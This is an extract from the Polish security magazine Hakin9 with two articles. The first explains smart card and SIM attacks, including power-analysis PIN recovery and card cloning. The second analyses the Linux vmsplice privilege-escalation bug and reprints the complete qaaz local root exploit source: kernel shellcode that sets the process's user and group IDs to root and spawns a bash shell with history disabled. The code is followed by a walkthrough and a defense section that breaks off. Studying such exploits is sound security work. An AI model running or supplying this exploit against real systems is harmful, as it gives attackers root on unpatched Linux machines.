• Card holder verification 1 (CHV1):

Dostęp możliwy tylko, gdy podano
właściwą wartość CHV1.

• Card holder verification 2 (CHV2):

Dostęp możliwy tylko, gdy podano
właściwą wartość CHV2.

• Administrative (ADM): Dostęp na

poziomie administracyjnym.

• Never (NEV): Dostęp do pliku zawsze

zabroniony.

Wartości CHV1 oraz CHV2 można
przyrównać do znanych nam z kart
SIM kodów PIN oraz PIN2. Każda z
tych wartości posiada zdefiniowany

Rysunek 1a.

Złącze karty inteligentnej z

bliska

Tabela 5.

Zestaw instrukcji wykorzystywanych w komunikacji czytnika z kartą

Instrukcje

Funkcje

0x60

Sprawdza typ czytnika i aktywuje go

0x61

Ustawia czytnik parametrami ICC

0x62

Włącza zasilanie karty

0x63

Wyłącza zasilanie karty

0x64

Wysyła sygnał RESET do karty

0x65

Sprawdza status karty

0x66

Wysyła jeden bajt danych do czytnika

0x67

Wysyła blok danych do czytnika

0x68

Przesyła ponownie ostatni blok danych

0x69

Wyświetla możliwości czytnika

0x6A

Deaktywuje czytnik

0x6B

Aktywuje opcje dodatkowe czytnika

0x6C-0x6F

Instrukcje zapasowe do wykorzystania w przyszłości

Tabela 4.

Standardy kart GSM

GSM 11.11

Specyfikacja interfejsu SIM-mobile

GSM 11.14

Specyfikacja narzędzi aplikacyjnych SIM dla interfejsu SIM-mobile

GSM 03.48

mechanizmy bezpieczeństwa dla narzędzi aplikacyjnych SIM

GSM 03.19

SIM API (Application Programming Interface) dla platformy

Java Card bazuje na standardach GSM 11.11 oraz GSM 11.14,

definiuje Java API dla rozwoju aplikacji GSM, które mogą

pracować na platformie Java Card.

Tabela 3.

Budowa odpowiedzi Response-APDU

body

trailer

Data field

SW1

SW2

background image

ATAK

34

HAKIN9 9/2008

ATAK NA SMART CARDS

35

HAKIN9

9/2008

licznik błędnie wprowadzanych kodów,
poszczególni producenci stosują różne
wartości.

Bezpieczeństwo oprogramowania

W tej materii pole do popisu mają
autorzy programów współpracujących
z czytnikami kart i kartami. Jeśli
aplikacje przez nich wprowadzane na
rynek są odpowiednio zabezpieczone
i nie posiadają luk pozwalających na
przechwycenie transmisji pomiędzy
kartą a oprogramowaniem komputera, to
możemy czuć się bezpieczni.

Rodzaje ataków

na karty inteligentne

Możliwości zaatakowania kart inteligentnych
nie są może ogromne, lecz istnieje kilka
znanych technik, które są wykorzystywane
przez crackerów.

Prześwietlanie promieniami UV lub

rentgenowskimi w celu uzyskania informacji
takich jak PIN czy klucz prywatny lub
publiczny to metoda raczej teoretyczna
i niedostępna dla każdego. Analiza EM
przy użyciu mikroskopu elektronowego
w celu dokładnego zbadania struktury
maski to także raczej sposób dla
naukowców w laboratoriach. Przykładem
ataku możliwego do wykonania przez
prawie przeciętnego zjadacza chleba
może być klonowanie, czyli wykonanie
wiernej kopii karty. Działanie takie jest
nielegalne – jest ewidentnie swoistym
rodzajem ataku, a jako przykład można
przytoczyć kopiowanie kart kodowych
nadawców płatnej telewizji satelitarnej.
Znanym i dobrze opisanym jest atak DPA
(Differential Power Analysis), polegający
na analizowaniu przebiegów różnych
wartości sygnałów podczas używania
karty. Dogłębna analiza pozwala na
odkrycie wzoru zapisu danych i późniejsze
skompromitowanie karty poprzez poznanie
jej PINu czy klucza prywatnego. Sprzęt
potrzebny do takiego ataku to odpowiednio
zmodyfikowany czytnik kart oraz
oprogramowanie pozwalające dokonywać
zapisu przebiegów elektrycznych. Inną,
prostszą odmianą tego ataku jest SPA
(Simple Power Analysis), polegająca na
bezpośredniej analizie zapisanych danych
odnoszących się do linii zasilającej kartę
i zachowań poziomów napięć i prądu
podczas wykonywania operacji na karcie.

Do wykonania takiego ataku potrzeba

nieco wiedzy z zakresu elektroniki, odrobiny
sprzętu pomiarowego, komputera i
oprogramowania do zapisu próbek oraz
późniejszej analizy. Aby móc dokonywać

pomiarów wartości prądu i napięcia
na stykach karty, należy odpowiednio
zmodyfikować czytnik w taki sposób, aby
można było podłączyć do niego sondę
pomiarową oscyloskopu.

Rysunek 2.

Schemat podłączenia oscyloskopu do złącza smartcard

Vcc

GND

Oscyloskop

Rysunek 3.

Schemat blokowy zestawu do akwizycji danych w ataku SPA

Karta

Czytnik kart

inteligentnych

Oscyloskop

Komputer PC

USB

USB

Rysunek 4.

Widoczne różnice w obciążeniu prądowym karty

background image

ATAK

HAKIN9 9/2008

ATAK NA SMART CARDS

37

HAKIN9

9/2008

Uproszczony schemat modyfikacji,

którą należy wykonać, można zobaczyć na
Rysunku 2. Zastosowany rezystor powinien
mieć wartość od kilku do kilkudziesięciu
omów. Różne źródła podają wartości w
zakresie od 5 do 50 omów.

Pomiar dokonywany za pomocą

oscyloskopu na biegunach rezystora
pozwala rejestrować wahania napięcia
powodowane przez wykonywanie na
karcie różnych operacji. Pojedynczy zapis
operacji w postaci wykresu nazywany jest
ścieżką.

Simple Power Analysis polega na

wizualnej analizie zebranych w ten sposób
próbek. Odpowiednio zmodyfikowany
czytnik kart w połączeniu z komputerem
oraz oscyloskopem tworzy zestaw
przygotowany do akwizycji danych. Przykład
takiego rozwiązania z wykorzystaniem
czytnika podłączanego poprzez USB
oraz oscyloskopu (również podłączonego
poprzez USB) pokazuje schemat blokowy
na Rysunku 3.

Zapis widoczny na Rysunku 4. pokazuje,

że różne operacje wykonywane przez układ
elektroniczny karty powodują zmieniający
się w czasie pobór prądu przez kartę.
Wynika to z faktu, iż poszczególne
fragmenty programu obsługi karty (a
więc różne instrukcje) powodują zmienną
aktywność mikroprocesora karty, czyli
różne obciążenie prądowe. Dzięki takim
właśnie różnicom Simple Power Analysis
jest możliwa do przeprowadzenia.

W przypadku karty SIM i próby

odgadnięcia numeru PIN w celu uzyskania
dostępu do zaawansowanych funkcji karty,
wykresy będą się różniły w zależności
od cyfr, które będą wprowadzane.
Podczas wprowadzania ciągu 0000
wykres pokazuje, że czas pracy procesu
sprawdzającego to ponad 1000
mikrosekund. Podczas wprowadzania
ciągu 4000 czas się zwiększa – co może
sugerować zweryfikowanie pierwszej cyfry
4 jako poprawnej (bo tylko ona się zmieniła
w stosunku do poprzednich czterech zer).

Kolejny wykres po wprowadzeniu ciągu
4500 pokazuje dalsze wydłużenie czasu
pracy procesu sprawdzającego do prawie
1200 mikrosekund, co sugeruje, że cyfra 5
również jest poprawna.

Wpisanie ciągu 4560 powoduje dalsze

wydłużanie się wykresu procesu, a zatem
kolejna cyfra 6 jest właściwa. Z uwagi na
to, że prawdopodobnie po trzykrotnym
wprowadzeniu błędnego PINu karta
zostanie zablokowana, metoda może być
skuteczna przy długim okresie zapisywania
wprowadzanego właściwego PINu przez
użytkownika i analizowaniu zapisów ścieżek
oraz porównywania ich z naszymi własnymi
próbami wprowadzania PINu.

Do przeprowadzenia ataku SPA nie

jest potrzebny specjalistyczny oscyloskop
– w zupełności wystarczy prosty, oparty na
układzie ADC0820, podłączany do portu
równoległego komputera PC. W przypadku
bardziej zaawansowanych oscyloskopów
będziemy mieli bardziej dokładne zapisy,
wykonane z większą częstotliwością.
Oprogramowanie do akwizycji, czyli
zbierania danych, można znaleźć bez
problemu w Internecie. W zupełności
wystarcza ono do pierwszych testów
bezpieczeństwa kart inteligentnych.

Symulowanie ataków przy

użyciu nieskomplikowanych układów
elektronicznych i prostych narzędzi
programowych pozwala wyciągnąć wnioski
na temat łatwości ich dokonania przez
potencjalnego intruza.

Firma Riscure oferuje całą gamę

programów przydatnych podczas
badania poziomu bezpieczeństwa kart
inteligentnych. Jednym z ciekawych
programów do analizy podczas ataków
SPA oraz DPA jest Inspector. Jego
możliwości pozwalają na jednoczesne
wyświetlanie kilku ścieżek, co ułatwia
porównywanie przebiegów. Niestety,

Rysunek 5.

Ścieżki wahań napięcia podczas wprowadzania kodu PIN

Rysunek 6.

Inspector w akcji

Rysunek 7.

Wyłuskane złącze wraz z

układem elektronicznym

36

background image

ATAK

HAKIN9 9/2008

ATAK NA SMART CARDS

37

HAKIN9

9/2008

program nie jest darmowy, a – co
gorsza – nie jest dostępna jego wersja
demonstracyjna.

Bezpośredni atak na kartę – jej układ

elektroniczny, strukturę danych – choć jest
możliwy do przeprowadzenia, to jednak
sprzęt potrzebny do jego wykonania
dyskwalifikuje domorosłych crackerów.
Samo obnażenie układu elektronicznego
nastręcza wiele trudności. Wyjęcie układu
podczepionego pod złącze ISO nie jest
specjalnie trudne i spokojnie da się to
zrobić bez specjalnych narzędzi.

Dostanie się do wnętrza karty poprzez

podłączenie się do szyny danych z
pominięciem wszelkich zabezpieczeń
szyfrujących nie jest już jednak takie
proste. Potrzeba do tego celu specjalnego
laboratorium z odpowiednim sprzętem
– przy wykorzystaniu mikroskopu
można wykonać takie podłączenie, co
udowodnił niedawno Chris Tarnovsky z
Flylogic Engineering. Na szczęście dla

bezpieczeństwa kart inteligentnych niewiele
jest osób mających dostęp do takiego
sprzętu i mogących dokonać tego rodzaju
ataku na kartę.

Warto w tym momencie dodać, że

aby podobne ataki – naruszające fizyczną
strukturę karty – były skuteczne, musiałyby
odbywać się w bardzo krótkim czasie,
gdyż właściciel karty zauważywszy jej brak
zgłosiłby jej zaginięcie. W tym momencie
odpowiednie służby mogłyby zablokować
możliwość korzystania z tej właśnie karty,
co byłoby kompletnym fiaskiem dla
crackera.

Firmy produkujące karty chipowe

stosują różne zabezpieczenia w swoich
produktach, aby minimalizować podatność
ich kart na atak.

Miniaturyzacja struktury układu

elektronicznego powoduje, że bez
odpowiedniego sprzętu laboratoryjnego
dostęp do elektroniki jest utrudniony.
Niektóre firmy stosują specjalne

oprogramowanie, które podczas wykrycia
działań mogących sugerować atak
powodują blokadę dostępu do danych na
karcie, z kasowaniem zawartości pamięci
włącznie (STMicroelectronics). Wydaje się ,
że jednym z bardziej skutecznych ataków (i
stosunkowo prostych do zorganizowania)
są ataki man-in-the-middle, w których
atakujący lokuje się na drodze komunikacji
pomiędzy kartą a aplikacją w komputerze.
Dla każdej ze stron – zarówno dla karty,
jak i dla aplikacji – atakujący widoczny jest
jako uwierzytelniony element komunikacji,
co pozwala na przechwytywanie transmisji
i modyfikowanie wysyłanych komend.
Najbardziej narażone na tego rodzaju
ataki są obecnie czytniki wyposażone w
interfejsy szeregowe, równoległe czy USB.

Podsumowanie

Zagadnienie bezpieczeństwa kart
inteligentnych nie jest łatwe do
rozpatrywania, ponieważ bardzo często
same karty są składnikiem systemu
mającego zapewniać bezpieczeństwo.
Użytkownicy bardzo często traktują
zabezpieczenie poprzez kartę jako bardzo
bezpieczne rozwiązanie, zapewniające
stuprocentowe bezpieczeństwo
– nie biorąc pod uwagę możliwości
ewentualnych ataków na dane znajdujące
się na karcie. W przypadku kart GSM
ochrona to dwa kody PIN, a jednak
bez większego problemu możliwe jest
klonowanie takich kart bez posiadania
specjalistycznego przygotowania. Niewiele
osób zdaje sobie sprawę z faktu, iż nawet
najbardziej nowoczesna technologicznie
karta, z bardzo szybkim procesorem,
zaawansowanymi metodami szyfrowania
danych może stać się celem ataku – i
całkiem możliwe, że ataku udanego. Rynek
kart inteligentnych rozwija się bardzo
dynamicznie – coraz więcej producentów
stosuje produkty oparte właśnie o tę
technologię, często w połączeniu z innymi
rozwiązaniami zabezpieczającymi. Jednak
nawet do tego typu zabezpieczeń należy
podchodzić z odpowiednim dystansem.

Grzegorz Błoński

Grzegorz Błoński, z wykształcenia jest informatykiem,

certyfikowanym specjalistą IBM. Pracuje w dużej firmie

o zasięgu światowym. Zajmuje się administracją i

bezpieczeństwem sieciowym. Jest członkiem organizacji

International Information Systems Forensics Association

(IISFA), ISACA, ISSA oraz Internet Society.

Kontakt z autorem: mancymonek@mancymonek.pl

Rysunek 8.

Złącze po odwróceniu kryje pod sobą układ elektroniczny z widocznymi

połączeniami układu do styków karty

W Sieci

http://www.weethet.nl/english/smartcards_types.php,
• http://www.devshed.com/c/a/Practices/Smart-Cards-An-Introduction/8,
• http://hackedgadgets.com/2008/06/03/smart-card-hacking,
• http://www.axalto.com,
• http://www.smartcard.ust.hk/security/content.htm,
• http://www.cl.cam.ac.uk/~rja14/tamper.html.

background image

38

HAKIN9

ATAK

9/2008

B

łędy w kernelach pojawiają się od dawna. W
zależności od aktywności osób szukających
błędów w jądrach, częstotliwość

odnajdywania nowych dziur jest większa lub
mniejsza. Grupą, która w ostatnich latach odkryła
najwięcej krytycznych błędów w kernelu systemu
Linux, jest iSEC Security Research. Najbardziej
bolesne dla administratorów są dziury, za pomocą
których można uzyskać uprawienia roota, a
większość tych błędów właśnie to umożliwia.

Najczęściej błędy odkrywane są w funkcjach,

wywołaniach systemowych, które nieodpowiednio
pilnują granic pamięci, jaką udostępniają
użytkownikowi. Zdarzają się także błędy związane
z nieprawidłową obsługą sygnałów (http://isec.pl/
vulnerabilities/isec-0024-death-signal.txt
).

Ostatni błąd w kernelu systemu Linux został

odkryty przez Wojtka Purczyńskiego (iSEC/
COSEINC) w lutym 2008 roku (stan na 20 kwietnia
2008). Problem dotyczył wywołania systemowego
vmsplice(), które jest bohaterem tego artykułu.

Konsekwencje błędów w jądrze

Część błędów w jądrze systemu operacyjnego
jest bardzo podobnych do klasycznych błędów
typu buffer overflow, z tą różnicą, że odbywa się
to w innej warstwie systemu operacyjnego. Także
obraz pamięci kernela jest inny niż procesu.
Praca jądra nie kończy się, a jeżeli do tego dojdzie
– system zostanie zamrożony, przestanie działać.
Stąd też prosta refleksja, że nie ma możliwości
nadpisywania pamięci jądra bez konsekwencji,

PRZEMYSŁAW SKOWRON

Z ARTYKUŁU

DOWIESZ SIĘ

na czym polegał błąd w sys_

vmsplice() w kernelu 2.6.24-25,

jak działa exploit,

jak skutecznie utrudnić lub

uniemożliwić atak na kernel.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy programowania

w języku C z wykorzystaniem

potoków,

znać podstawy budowy systemu

Linux.

jeżeli zostanie to zrobione źle. Kod jądra w pamięci
nie jest opróżniany czy wymieniany i należy o tym
pamiętać. Co prawda istnieją metody modyfikacji
kodu kernela w locie, lecz nie jest to tematem tego
artykułu.

Istotą wykorzystywania błędów w kernelu

jest podsunięcie takiego kodu, który wykona
oczekiwaną przez nas operację, np. nada nam
uprawnienia administratora, zamknie system,
uszkodzi go. Jeżeli ilość danych, jakie możemy
nadpisać, jest zbyt mała lub błąd jedynie
powoduje wykonanie operacji, powodując
naruszenie pamięci jądra, to można próbować
wykonać atak typu DoS.

W przypadku błędów w jądrze nie musimy

przejmować się tym, z jakimi uprawnieniami
zostanie wykorzystany kod, który udało się nam
wstrzyknąć w przestrzeń jego pamięci. Kernel
pracuje w trybie

ring0

, co oznacza, że wszystkie

operacje, jakie wykonuje są przeprowadzane z
uprawnieniami administratora systemu. Nie ma to
jednak związku z użytkownikiem root. W systemie
Linux wyróżnione są dwa poziomy uprawnień, z
jakimi działa system. Tryb

ring0

(administratora), w

Stopień trudności

Błędy w

jądrach

systemów

Błędy w programach to problem danej aplikacji. Uchybienia

w kernelu mają zasięg globalny, ograniczony oczywiście

możliwościami wykorzystania go. Jeżeli jądro naszego systemu

zawiera błąd, możemy spodziewać się sporych problemów, a

większość zabezpieczeń może okazać się bezużyteczna.

W Sieci

http://en.wikipedia.org/wiki/Ring_(computer_

security),

• http://milw0rm.com/exploits/5093,
• http://isec.pl/vulnerabilities/isec-0024-death-

signal.txt

background image

39

HAKIN9

BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH

9/2008

którym pracuje kernel, i tryb

ring3

, w którym

pracuje cała reszta systemu.

vmsplice()

Mając wyobrażenie o konsekwencjach
błędów w jądrze, możemy przejść do
sedna sprawy.

Wywołanie systemowe

vmsplice()

jest stosunkowo nowe i występuje tylko w
kernelach z linii 2.6, konkretnie od 2.6.17.
Autorem wywołania jest Jens Axboe, a jego
zadaniem jest optymalizacja operacji I/O

dla niewielkich buforów w ramach jądra, bez
wychodzenia do przestrzeni użytkownika
(ang. userland). Deskryptor, na jakim
pracuje

vmsplice()

, powinien wskazywać

na potok (ang. pipe). Samą definicję funkcji

vmsplice()

można zobaczyć na Listingu

1. a więcej o niej przeczytać w podręczniku
systemowym (

man 2 vmsplice

).

Istotna dla definicji funkcji jest struktura

iovec (Listing 2), określająca adres
startowy, z którego są odczytywane lub
zapisywane dane, a także ich wielkość.

Przykład z Listingu 3. pokazuje w

elementarny sposób, jak działa i może być
wykorzystywana funkcja

vmsplice()

.

rez@w ~/expl/vmsplice $ gcc vm-
hakin9.c -o vm-hakin9
rez@w ~/expl/vmsplice $ ./vm-hakin9
1st: Testowe wywolanie vmsplice()
- czytam
2nd: Testowe wywolanie vmsplice()
- pisze

Przykład ten jest pozbawiony obsługi
błędów, co jest bardzo złą praktyką
w kontekście tworzenia bezpiecznych
aplikacji, ale zabieg ten został wykonany
celowo – by nie zaciemniać obrazu
przykładowego użycia funkcji

vmsplice()

.

Analiza exploita

Obsługa błędów dla

vmsplice()

pozostawiała wiele do życzenia. Wojtek
Purczyński odnalazł kilka wrażliwych
miejsc, które można wykorzystać
do wstrzyknięcia własnego kodu
wykonywanego w przestrzeni jądra. Błąd
dotyczący wersji 2.6.17-2.6.24, a także
sposób przeprowadzenia ataku, został
dość szczegółowo opisany w licznych
publikacjach, dlatego też skoncentrujemy
się na innej podatności występującej w
wersji kernela 2.6.23-2.6.24.

Najlepiej będzie zapoznać się z

błędem analizując działanie exploita. Jego
kod źródłowy jest powszechnie dostępny
w archiwach serwisu

milw0rm.com

, a

także pokazany na Listingu 4. Pierwsze
linie to odpowiednie pliki nagłówkowe
programu. Następnie mamy dwie
zdefiniowane stałe,

TARGET _ PATTERN

– wielkość później wykorzystaną do
znalezienia wywołania systemowego
sys_vm86old oraz

TARGET _ SYSCALL

– numer wywołania systemowego

sys _

vm86old

. Dalej zdefiniowany jest numer

wywołania systemowego

vmsplice.

_ vmsplice()

będzie funkcją odwołującą

się do wywołania systemowego

vmsplice

z parametrami, a

gimmeroot()

stanie

się funkcją, która za pomocą użytego
tricku spróbuje uzyskać dla użytkownika
uprawnienia roota. Właściwie w tym
momencie można podejrzewać, że coś tu
jest nie tak. TARGET_SYSCALL wskazuje
na sys_vm86old, który potrzebuje dwóch
argumentów, natomiast tutaj jest ich 6.

TRAMP _ CODE

będzie wskaźnikiem do

kodu znajdującego się wewnątrz tablicy
trampoline[], a

TRAMP _ SIZE

– jak

sama nazwa wskazuje – jest rozmiarem
tej tablicy. Poniżej kod okraszony jest
komentarzem w postaci kodu asemblera.
Jeżeli pod adresem 0x4(%esp) znajduje
się liczba 31337, to wywoływana jest
instrukcja spod adresu 0x8(%esp). Czy
to coś przypomina? Zdecydowanie tak.
Funkcja

die()

służy tylko i wyłącznie

do informowania o błędzie. Kolejno,
funkcja

get _ target()

, przeglądając

plik /proc/kallsyms, szuka adresu, pod
jakim znajduje się wywołanie systemowe

sys _ vm86old

.

Funkcja

get _ current()

jest

implementacją makra current, znaną
z kernela, która zwraca wskaźnik do
struktury task_struct opisującej aktualnie

Listing 1.

Deklaracja vmsplice()

#

define _GNU_SOURCE

#include

<fcntl.h>

#include

<sys/uio.h>

long

vmsplice

(

int

fd

,

const

struct

iovec

*

iov

,

unsigned

long

nr_segs

,

unsigned

int

flags

);

Listing 2.

Struktura iovec

struct

iovec

{

void

*

iov_base

;

/* Starting address */

size_t

iov_len

;

/* Number of bytes */

}

;

Listing 3.

Przykładowe użycie funkcji

vmsplice()

#include

<stdio.h>

#include

<unistd.h>

#include

<string.h>

#include

<fcntl.h>

#include

<sys/uio.h>

int

main

(

void

)

{

int

pipes

[

2

];

char

buf

[]

=

"Testowe wywolanie

vmsplice() -
czytam

\n

"

;

char

buf2

[]

=

"Testowe wywolanie

vmsplice() -
pisze

\n

"

;

char

tmp

[

64

];

struct

iovec

i

;

memset

(

tmp

,

0x0

,

sizeof

(

tmp

));

pipe

(

pipes

);

i

.

iov_base

=

(

void

*)

tmp

;

iov_len

=

sizeof

(

tmp

)-

2

;

write

(

pipes

[

1

]

,

buf

,

strlen

(

buf

));

vmsplice

(

pipes

[

0

]

,

&

i

,

1

,

0

);

printf

(

"1st: %s"

,

tmp

);

memset

(

tmp

,

0x0

,

sizeof

(

tmp

));

i

.

iov_base

=

(

void

*)

buf2

;

i

.

iov_len

=

strlen

(

buf2

);

vmsplice

(

pipes

[

1

]

,

&

i

,

1

,

0

);

read

(

pipes

[

0

]

,

tmp

,

sizeof

(

tmp

)-

1

);

printf

(

"2nd: %s"

,

tmp

);

return

0

;

}

Opis identyfikatorów

uid_t uid – rzeczywisty identyfikator użytkownika,
uid_t euid – efektywny identyfikator użytkownika,
uid_t suid – identyfikator właściciela programu, który jest wykonywany jako dany proces,
uid_t fsuid – identyfikator użytkownika wykorzystywany przy sprawdzaniu praw związanych z

systemem plików,

gid_t gid – rzeczywisty identyfikator grupy użytkownika,
gid_t egid – efektywny identyfikator grupy użytkownika,
gid_t sgid – ustawiony identyfikator grupy użytkownika (patrz opis do suid),
unsigned gid_t fsgid – podobnie jak fsuid, tylko, że dotyczy grupy.

background image

ATAK

40

HAKIN9 9/2008

BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH

41

HAKIN9

9/2008

obsługiwany proces w przestrzeni kernela
– w tej sytuacji proces exploita. Kod jest
prawie przeniesiony ze źródeł kernela. Warto

zapamiętać, że implementacja makra jest
różna w kernelach z serii 2.4 i 2.6, a nawet w
tej samej linii rozwojowej mogą występować

różnice związane z wielkością struktury
task_info, która zawiera wskaźnik do
wcześniej wymienionej task_struct. Dlaczego

Listing 4.

Kod exploita na vmsplice()

/*
* diane_lane_fucked_hard.c
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.23 - 2.6.24
*/

#define _GNU_SOURCE
#include

<stdio.h>

#include

<errno.h>

#include

<stdlib.h>

#include

<string.h>

#include

<unistd.h>

#include

<sys/uio.h>

#

define

TARGET_PATTERN

" sys_vm86old"

#define TARGET_SYSCALL 113
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io),

(nr), (fl))

#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code,

1, 2, 3, 4)

#define TRAMP_CODE (void *) trampoline
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )

unsigned

char

trampoline

[]

=

"

\x

8b

\x

5c

\x

24

\x

04"

/* mov 0x4(%esp),%ebx */

"

\x

8b

\x

4c

\x

24

\x

08"

/* mov 0x8(%esp),%ecx */

"

\x

81

\x

fb

\x

69

\x

7a

\x

00

\x

00"

/* cmp $31337,%ebx */

"

\x

75

\x

02"

/* jne +2 */

"

\x

ff

\x

d1"

/* call *%ecx */

"

\x

b8

\x

ea

\x

ff

\x

ff

\x

ff"

/* mov $-EINVAL,%eax */

"

\x

c3"

/* ret */

;

void

die

(

char

*

msg

,

int

err

)

{

printf

(

err

?

"[-] %s: %s

\n

"

:

"[-] %s

\n

"

,

msg

,

strerror

(

err

));

fflush

(

stdout

);

fflush

(

stderr

);

exit

(

1

);

}

long

get_target

()

{

FILE

*

f

;

long

addr

=

0

;

char

line

[

128

];

f

=

fopen

(

"/proc/kallsyms"

,

"r"

);

if

(!

f

)

die

(

"/proc/kallsyms"

,

errno

);

while

(

fgets

(

line

,

sizeof

(

line

)

,

f

))

{

if

(

strstr

(

line

,

TARGET_PATTERN

))

{

addr

=

strtoul

(

line

,

NULL

,

16

);

break

;

}

}

fclose

(

f

);

return

addr

;

}

static

inline

__attribute__

((

always_inline

))

void

*

get_current

()

{

unsigned

long

curr

;

__asm__

__volatile__

(

"movl %%esp, %%eax ;"

"andl %1, %%eax ;"

"movl (%%eax), %0"

:

"=r"

(

curr

)

:

"i"

(

~

8191

)

);

return

(

void

*)

curr

;

}

void

kernel_code

()

{

int

i

;

uint

*

p

=

get_current

();

for

(

i

=

0

;

i

<

1024

-

13

;

i

++)

{

if

(

p

[

0

]

==

uid

&&

p

[

1

]

==

uid

&&

p

[

2

]

==

uid

&&

p

[

3

]

==

uid

&&

p

[

4

]

==

gid

&&

p

[

5

]

==

gid

&&

p

[

6

]

==

gid

&&

p

[

7

]

==

gid

)

{

p

[

0

]

=

p

[

1

]

=

p

[

2

]

=

p

[

3

]

=

0

;

p

[

4

]

=

p

[

5

]

=

p

[

6

]

=

p

[

7

]

=

0

;

p

=

(

uint

*)

((

char

*)(

p

+

8

)

+

sizeof

(

void

*));

p

[

0

]

=

p

[

1

]

=

p

[

2

]

=

~

0

;

break

;

}

p

++;

}

}

int

main

(

int

argc

,

char

*

argv

[])

{

int

pi

[

2

];

long

addr

;

struct

iovec

iov

;

uid

=

getuid

();

gid

=

getgid

();

setresuid

(

uid

,

uid

,

uid

);

setresgid

(

gid

,

gid

,

gid

);

printf

(

"-----------------------------------

\n

"

);

printf

(

" Linux vmsplice Local Root Exploit

\n

"

);

printf

(

" By qaaz

\n

"

);

printf

(

"-----------------------------------

\n

"

);

if

(!

uid

||

!

gid

)

die

(

"!@#$"

,

0

);

addr

=

get_target

();

printf

(

"[+] addr: 0x%lx

\n

"

,

addr

);

if

(

pipe

(

pi

)

<

0

)

die

(

"pipe"

,

errno

);

iov

.

iov_base

=

(

void

*)

addr

;

iov

.

iov_len

=

TRAMP_SIZE

;

write

(

pi

[

1

]

,

TRAMP_CODE

,

TRAMP_SIZE

);

_vmsplice

(

pi

[

0

]

,

&

iov

,

1

,

0

);

gimmeroot

();

if

(

getuid

()

!=

0

)

die

(

"wtf"

,

0

);

printf

(

"[+] root

\n

"

);

putenv

(

"HISTFILE=/dev/null"

);

execl

(

"/bin/bash"

,

"bash"

,

"-i"

,

NULL

);

die

(

"/bin/bash"

,

errno

);

return

0

;

}

//

milw0rm

.

com

[

2008

-

02

-

09

]

background image

ATAK

40

HAKIN9 9/2008

BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH

41

HAKIN9

9/2008

tak ważne jest odnalezienie odpowiedniego
wskaźnika do struktury opisującej proces
w przestrzeni kernela? Zawiera ona
informacje, z jakimi uprawnieniami proces
jest wykonywany. Jeżeli jeszcze nie naświetla
to problemu i możliwości z nim związanych,
to zaraz wszystko się wyjaśni. Szczegółowy
opis struktur jądra systemu i dotyczących
ich zadań można znaleźć w dokumencie
Linux 2.6 Kernel Exploits, którego autorem
jest Stephane Duverger.

Funkcja

kernel _ code()

jest

odpowiednikiem szelkodu, który zazwyczaj
chcemy wstrzyknąć w pamięć procesu
przy błędach typu buffer oveflow. Zadaniem
tej funkcji jest odnalezienie w przeglądanej
strukturze pól opisujących identyfikatory
użytkownika, z jakimi działa program, a
następnie podmianę ich na identyfikator
administratora (0). Opis poszukiwanych
identyfikatorów znajduje się w ramce.

Wiedząc, jak działają wszystkie

dodatkowe funkcje, można przejść do
analizy funkcji głównej. W pierwszej części
autor exploita pobiera identyfikatory
użytkownika, z którymi proces został
uruchomiony i w przypadku różnic
pomiędzy ruid, euid i suid wyrównuje je do
tej samej wartości względem uid. To samo
wykonuje dla identyfikatorów dotyczących
grupy. Następnie pobierany jest adres, pod
którym znajduje się wywołanie systemowe

vm86old()

i tworzony jest potok. Po tym

fragmencie kodu występuje najważniejsza
część exploita – wykorzystanie podatności
w funkcji

vmsplice()

.

Na początku musimy wypełnić strukturę

iov (

iov _ base

– adres, pod którym

znajduje się bufor i

iov _ len

– jego

wielkość). iov_base to adres wywołania
systemowego

vm86old()

, natomiast

długość wynosi tyle, ile ma kod trampoliny.
Wywołanie write() powoduje zapis do potoku
kodu zdefiniowanego w ramach makra

TRAMP_CODE. Uruchomienie wywołania
systemowego

vmsplice()

powoduje

zniszczenia. Zanim

vmsplice()

odczyta

dane zaadresowane w strukturze iov,
przemapuje dane z potoku – wcześniej
zapisane do niego za pomocą funkcji

write()

– do pamięci kernela. Zazwyczaj

w takiej sytuacji powinien pojawić się
komunikat o błędzie segmentacji pamięci
kernela (Oops!) lub coś gorszego. Nie dzieje
się tak, ponieważ w ten sposób realizowany
jest dostęp do pamięci. Kod funkcji

vmsplice _ to _ user()

, odpowiedzialny

za transfer bufora z potoku pod adres
iov_base, nie weryfikuje, czy można go
wykonać. Tzn., że możemy spróbować
zapisać cokolwiek, co prześlemy do potoku
pod dowolnym adresem ustawionym w
strukturze iov. W ten sposób pod adresem
addr (oznaczającym adres wywołania
systemowego

vm86old()

) został zapisany

kod TRAMP_CODE, nadpisując jego
pierwotną wersję w jądrze. Gotowe?

W tym momencie nie mamy jeszcze

uprawnień administratora. Do tego
potrzebny jest jeszcze jeden krok. Funkcja

gimmeroot()

wywołuje

vm86old()

z

odpowiednio dobranymi argumentami.
Teraz ciałem tego wywołania systemowego
jest kod z

char trampoline[]

(Listing

4). Jeżeli pierwszym argumentem jest
liczba 31337, to należy wykonać funkcję
znajdującą się pod adresem z drugiego
argumentu. Jest nim adres funkcji

kernelcode()

. Po udanym odwołaniu się

do podmienionego wywołania

vm86old()

jesteśmy nowym administratorem
tego systemu. Pozostała część exploita
uruchamia powłokę, aby umożliwić
przejście do pracy interaktywnej.

Obrona

Pójdźmy trochę dalej. Błąd w wywołaniu

sys _ vmsplice()

pozwala na

realizację marzeń napastnika. Wdrożenie
odpowiednich poprawek do kernela
nie zawsze jest bardzo proste, jasne
i oczywiste. Znane są inne metody
prewencji i detekcji próby wykorzystania
takiego błędu w kernelu. Jedną z nich
jest wykorzystanie modułów do kernela,
które wyłączają

sys _ vmsplice()

lub dodatkowo badają parametry jej
wywołania – tak, aby nie było możliwości
zdobycia uprawnień administratora.
Przykład takiego badania znajduje się na
Listingu 5.

Drugim sposobem jest nadpisanie

fragmentu pamięci jądra, w którym
znajduje się

sys _ vmsplice()

. Przykład

takiego nadpisania jest zaprezentowany na
Listingu 6.

W ten sposób można się

zabezpieczyć przed atakiem, ale
tylko w określonych warunkach.
Załadowanie modułu wyłączającego

